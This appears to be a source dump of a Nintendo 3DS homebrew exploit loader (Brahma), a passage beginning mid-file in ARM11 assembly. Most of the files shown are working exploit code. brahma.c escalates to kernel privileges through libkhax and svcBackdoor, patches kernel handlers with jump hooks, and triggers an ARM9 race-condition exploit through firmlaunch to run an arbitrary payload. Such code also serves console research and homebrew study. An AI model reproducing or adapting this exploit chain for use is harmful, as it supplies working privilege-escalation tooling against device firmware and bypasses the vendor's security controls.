R3,ASR#2 110 | CMP R1, #0 111 | BLE locret_FFFF0AC0 112 | MOVS R1, R3,LSL#29 113 | SUB R0, R0, #4 114 | SUB R1, R2, #4 115 | BPL loc_FFFF0AA0 116 | LDR R2, [R0,#4]! 117 | STR R2, [R1,#4]! 118 | loc_FFFF0AA0: 119 | MOVS R2, R3,ASR#3 120 | BEQ locret_FFFF0AC0 121 | loc_FFFF0AA8: 122 | LDR R3, [R0,#4] 123 | SUBS R2, R2, #1 124 | STR R3, [R1,#4] 125 | LDR R3, [R0,#8]! 126 | STR R3, [R1,#8]! 127 | BNE loc_FFFF0AA8 128 | locret_FFFF0AC0: 129 | BX LR 130 | 131 | busy_spin: 132 | SUBS R0, R0, #2 133 | NOP 134 | BGT busy_spin 135 | BX LR 136 | 137 | pdn_send: 138 | LDR R1, va_pdn_regs 139 | STRB R0, [R1, #0x230] 140 | BX LR 141 | 142 | pxi_send: 143 | LDR R1, va_pxi_regs 144 | loc_1020D0: 145 | LDRH R2, [R1,#4] 146 | TST R2, #2 147 | BNE loc_1020D0 148 | STR R0, [R1,#8] 149 | BX LR 150 | 151 | pxi_recv: 152 | LDR R0, va_pxi_regs 153 | loc_1020FC: 154 | LDRH R1, [R0,#4] 155 | TST R1, #0x100 156 | BNE loc_1020FC 157 | LDR R0, [R0,#0xC] 158 | BX LR 159 | 160 | pxi_sync: 161 | LDR R0, va_pxi_regs 162 | LDRB R1, [R0,#3] 163 | ORR R1, R1, #0x40 164 | STRB R1, [R0,#3] 165 | BX LR 166 | 167 | .global arm11_end 168 | arm11_end: 169 | 170 | .global arm11_globals_start 171 | arm11_globals_start: 172 | 173 | va_pdn_regs: .long 0 174 | va_pxi_regs: .long 0 175 | va_hook1_ret: .long 0 176 | 177 | .global arm11_globals_end 178 | arm11_globals_end: 179 | -------------------------------------------------------------------------------- /source/arm9.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .align 4 3 | .code 32 4 | .text 5 | 6 | @ default ARM9 payload, simply launches FIRM (reboots without clearing mem) 7 | .global arm9_start 8 | arm9_start: 9 | B skipvars 10 | 11 | @ offs 4, will contain backup copy of FIRM ARM9 12 | @ entry point so execution can be returned to FIRM 13 | pa_arm9_entrypoint_backup: .long 0xFFFF0000 14 | 15 | skipvars: 16 | STMFD SP!, {R0-R12,LR} 17 | 18 | @ insert your funky stuff here 19 | LDMFD SP!, {R0-R12,LR} 20 | 21 | LDR PC, pa_arm9_entrypoint_backup 22 | 23 | .global arm9_end 24 | arm9_end: 25 | -------------------------------------------------------------------------------- /source/brahma.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include "brahma.h" 5 | #include "exploitdata.h" 6 | #include "libkhax/khax.h" 7 | 8 | 9 | /* should be the very first call. allocates heap buffer 10 | for ARM9 payload */ 11 | u32 brahma_init (void) { 12 | g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE); 13 | return (g_ext_arm9_buf != 0); 14 | } 15 | 16 | /* call upon exit */ 17 | u32 brahma_exit (void) { 18 | if (g_ext_arm9_buf) { 19 | free(g_ext_arm9_buf); 20 | } 21 | return 1; 22 | } 23 | 24 | /* overwrites two instructions (8 bytes in total) at src_addr 25 | with code that redirects execution to dst_addr */ 26 | void redirect_codeflow (u32 *dst_addr, u32 *src_addr) { 27 | *(src_addr + 1) = dst_addr; 28 | *src_addr = ARM_JUMPOUT; 29 | } 30 | 31 | /* fills exploit_data structure with information that is specific 32 | to 3DS model and firmware version 33 | returns: 0 on failure, 1 on success */ 34 | s32 get_exploit_data (struct exploit_data *data) { 35 | u32 fversion = 0; 36 | u8 isN3DS = 0; 37 | s32 i; 38 | s32 result = 0; 39 | u32 sysmodel = SYS_MODEL_NONE; 40 | 41 | if(!data) 42 | return result; 43 | 44 | fversion = osGetFirmVersion(); 45 | APT_CheckNew3DS(&isN3DS); 46 | sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS; 47 | 48 | /* copy platform and firmware dependent data */ 49 | for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) { 50 | if (supported_systems[i].firm_version == fversion && 51 | supported_systems[i].sys_model & sysmodel) { 52 | memcpy(data, &supported_systems[i], sizeof(struct exploit_data)); 53 | result = 1; 54 | break; 55 | } 56 | } 57 | return result; 58 | } 59 | 60 | /* get system dependent data and set up ARM11 structures */ 61 | s32 setup_exploit_data (void) { 62 | s32 result = 0; 63 | 64 | if (get_exploit_data(&g_expdata)) { 65 | /* copy data required by code running in ARM11 svc mode */ 66 | g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret; 67 | g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs; 68 | g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs; 69 | result = 1; 70 | } 71 | return result; 72 | } 73 | 74 | /* reads ARM9 payload from a given path. 75 | filename: full path of payload 76 | returns: 0 on failure, 1 on success */ 77 | 78 | /* reads ARM9 payload from memory. 79 | data: array of u8 containing the payload 80 | dsize: size of the data array 81 | returns: 0 on failure, 1 on success */ 82 | s32 load_arm9_payload_from_mem (u8* data, u32 dsize) { 83 | s32 result = 0; 84 | 85 | if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) { 86 | g_ext_arm9_size = dsize; 87 | memcpy(g_ext_arm9_buf, data, dsize); 88 | result = g_ext_arm9_loaded = 1; 89 | } 90 | 91 | return result; 92 | } 93 | 94 | /* copies ARM9 payload to FCRAM 95 | - before overwriting it in memory, Brahma creates a backup copy of 96 | the mapped firm binary's ARM9 entry point. The copy will be stored 97 | into offset 4 of the ARM9 payload during run-time. 98 | This allows the ARM9 payload to resume booting the Nintendo firmware 99 | code. 100 | Thus, the format of ARM9 payload written for Brahma is the following: 101 | - a branch instruction at offset 0 and 102 | - a placeholder (u32) at offset 4 (=ARM9 entrypoint) */ 103 | s32 map_arm9_payload (void) { 104 | void *src; 105 | volatile void *dst; 106 | 107 | u32 size = 0; 108 | s32 result = 0; 109 | 110 | dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD); 111 | 112 | if (!g_ext_arm9_loaded) { 113 | // defaul ARM9 payload 114 | src = &arm9_start; 115 | size = (u8 *)&arm9_end - (u8 *)&arm9_start; 116 | } 117 | else { 118 | // external ARM9 payload 119 | src = g_ext_arm9_buf; 120 | size = g_ext_arm9_size; 121 | } 122 | 123 | if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) { 124 | memcpy(dst, src, size); 125 | result = 1; 126 | } 127 | 128 | return result; 129 | } 130 | 131 | s32 map_arm11_payload (void) { 132 | void *src; 133 | volatile void *dst; 134 | u32 size = 0; 135 | u32 offs; 136 | s32 result_a = 0; 137 | s32 result_b = 0; 138 | 139 | src = &arm11_start; 140 | dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED); 141 | size = (u8 *)&arm11_end - (u8 *)&arm11_start; 142 | 143 | // TODO: sanitize 'size' 144 | if (size) { 145 | memcpy(dst, src, size); 146 | result_a = 1; 147 | } 148 | 149 | offs = size; 150 | src = &g_arm11shared; 151 | size = sizeof(g_arm11shared); 152 | 153 | dst = (u8 *)(g_expdata.va_exc_handler_base_W + 154 | OFFS_EXC_HANDLER_UNUSED + offs); 155 | 156 | // TODO sanitize 'size' 157 | if (result_a && size) { 158 | memcpy(dst, src, size); 159 | result_b = 1; 160 | } 161 | 162 | return result_a && result_b; 163 | } 164 | 165 | void exploit_arm9_race_condition (void) { 166 | 167 | s32 (* const _KernelSetState)(u32, u32, u32, u32) = 168 | (void *)g_expdata.va_kernelsetstate; 169 | 170 | asm volatile ("clrex"); 171 | 172 | /* copy ARM11 payload and console specific data */ 173 | if (map_arm11_payload() && 174 | /* copy ARM9 payload to FCRAM */ 175 | map_arm9_payload()) { 176 | 177 | /* patch ARM11 kernel to force it to execute 178 | our code (hook1 and hook2) as soon as a 179 | "firmlaunch" is triggered */ 180 | redirect_codeflow(g_expdata.va_exc_handler_base_X + 181 | OFFS_EXC_HANDLER_UNUSED, 182 | g_expdata.va_patch_hook1); 183 | 184 | redirect_codeflow(PA_EXC_HANDLER_BASE + 185 | OFFS_EXC_HANDLER_UNUSED + 4, 186 | g_expdata.va_patch_hook2); 187 | 188 | CleanEntireDataCache(); 189 | InvalidateEntireInstructionCache(); 190 | 191 | // trigger ARM9 code execution through "firmlaunch" 192 | _KernelSetState(0, 0, 2, 0); 193 | // prev call shouldn't ever return 194 | } 195 | return; 196 | } 197 | u32 frameBufferData[3]; 198 | 199 | /* restore svcCreateThread code (not really required, 200 | but just to be on the safe side) */ 201 | s32 priv_firm_reboot (void) { 202 | asm volatile ("cpsid aif"); 203 | u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00); 204 | memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData)); 205 | 206 | exploit_arm9_race_condition(); 207 | return 0; 208 | } 209 | 210 | /* perform firmlaunch. load ARM9 payload before calling this 211 | function. otherwise, calling this function simply reboots 212 | the handheld */ 213 | s32 firm_reboot (void) { 214 | // Make sure gfx is initialized 215 | gfxInitDefault(); 216 | 217 | // Save the framebuffers for arm11. 218 | frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000; 219 | frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000; 220 | frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000; 221 | gfxSwapBuffers(); 222 | 223 | s32 fail_stage = 0; 224 | 225 | fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */ 226 | if (setup_exploit_data()) { 227 | fail_stage++; /* failure while trying to corrupt svcCreateThread() */ 228 | if (khaxInit() == 0) { 229 | fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/ 230 | svcBackdoor(priv_firm_reboot); 231 | } 232 | } 233 | 234 | /* we do not intend to return ... */ 235 | return fail_stage; 236 | } 237 | -------------------------------------------------------------------------------- /source/main.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include "arm9payload_bin.h" 5 | #include "brahma.h" 6 | 7 | s32 main (void) { 8 | // Initialize services 9 | gfxInitDefault(); 10 | gfxSwapBuffers(); 11 | //consoleInit(GFX_TOP,NULL); 12 | 13 | brahma_init(); 14 | 15 | 16 | load_arm9_payload_from_mem (arm9payload_bin, arm9payload_bin_size); 17 | firm_reboot(); 18 | 19 | gfxExit(); 20 | // Return to hbmenu 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /source/utils.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .align 4 3 | .code 32 4 | .text 5 | 6 | .global InvalidateEntireInstructionCache 7 | .type InvalidateEntireInstructionCache, %function 8 | InvalidateEntireInstructionCache: 9 | mov r0, #0 10 | mcr p15, 0, r0, c7, c5, 0 11 | bx lr 12 | 13 | .global CleanEntireDataCache 14 | .type CleanEntireDataCache, %function 15 | CleanEntireDataCache: 16 | mov r0, #0 17 | mcr p15, 0, r0, c7, c10, 0 18 | bx lr 19 | 20 | .global DisableInterrupts 21 | .type DisableInterrupts, %function 22 | DisableInterrupts: 23 | mrs r0, cpsr 24 | CPSID I 25 | bx lr 26 | 27 | .global EnableInterrupts 28 | .type EnableInterrupts, %function 29 | EnableInterrupts: 30 | msr cpsr_cx, r0 31 | bx lr 32 | --------------------------------------------------------------------------------